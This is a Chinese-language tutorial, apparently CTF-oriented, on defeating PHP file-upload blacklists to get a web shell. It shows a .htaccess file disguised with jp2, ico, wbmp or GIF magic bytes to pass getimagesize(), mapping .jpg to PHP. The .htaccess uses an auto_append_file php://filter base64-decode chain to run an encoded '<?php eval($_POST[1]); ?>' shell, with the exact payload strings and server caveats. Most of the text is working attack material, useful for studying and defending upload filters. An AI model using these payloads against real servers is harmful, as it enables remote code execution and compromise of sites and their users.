前言
在很多時候有限制文件上傳的類型,而黑名單ban了很多相關的后綴,如果沒有警用.htaccee那么就能觸發getshell
.htaccess可以把.jpg解析成php
語法
AddType application/x-httpd-php .jpg
PHP5
圖像相關的信息檢測常用getimagesize( )函數,那么對於.htaccess文件來說,注釋有#和%00這2個符號,圖片頭沒有#,但是有%00的文件
比如
jp2 格式如下
00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必須)

在圖中width是C6
hight是6F,修改對應位置的值即可返回對應的長度
ico格式如下
00 00 01 00(必須) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20
所以如果不限制大小可以在.htaccess文件面前加上
aaaaaa
然后用winhex改成
00 00 01 00 0a 0d
bwmp格式如下
00 00 01 01
表示width為1, hight為1
00 00 8A 39 8A 39
表示width為1337, hight為1337
如果大小值>80,那么就會取2位,否則只會取1位
有了上面的幾種情況就可以上傳.htaccess文件,並符合其語法

接下來上傳個圖片馬即可

然后直接訪問圖片就被解析成php代碼了

PHP7以后
有時候有這種情況把<?給waf了,在php7之前可以按上面的<script language>來達到繞過<?php這種情況,但是在php7之后這些標簽都是被移除了,因此可以靠base64解碼來達到目的
<?php eval($_POST[1]); ?>
base64編碼后
PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
加上文件頭,這里用wbmp
00 00 01 01
因為base64是4個一組,而上面的wbmp頭文件剛好4個字節,所以不用補充,如果是png則需要補充很多...
這里4個字節的圖片頭建議用gif,剛好4個字節
47 49 46 38
所以形成1.gif的base64為
GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
接下來.htaccess的格式是
00 00 01 01(進hex進制里面修改下)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"
這里有個2個坑
坑1:因為是黑名單,如果上傳的文件是能被服務器解析的比如jpg能被解析成圖片而.abc這樣的后綴不會被解析,這里有個區別
.jpg這種能被解析的文件,在被文件包含時文件頭要和擴展名一致才能解析
.abc這種不會被解析的文件,在被文件包含時文件頭任意即可
坑2:在Server API為CGI/FastCGI 時以上的.htaccess腳本是報500錯的,我在windows下的phpstudy就是這種解析方式。
但是在linux下一般情況是Server API為Apache 2.0 Handler ,因此以上的.htaccess是能夠被解析的
參考鏈接:
https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg
https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/
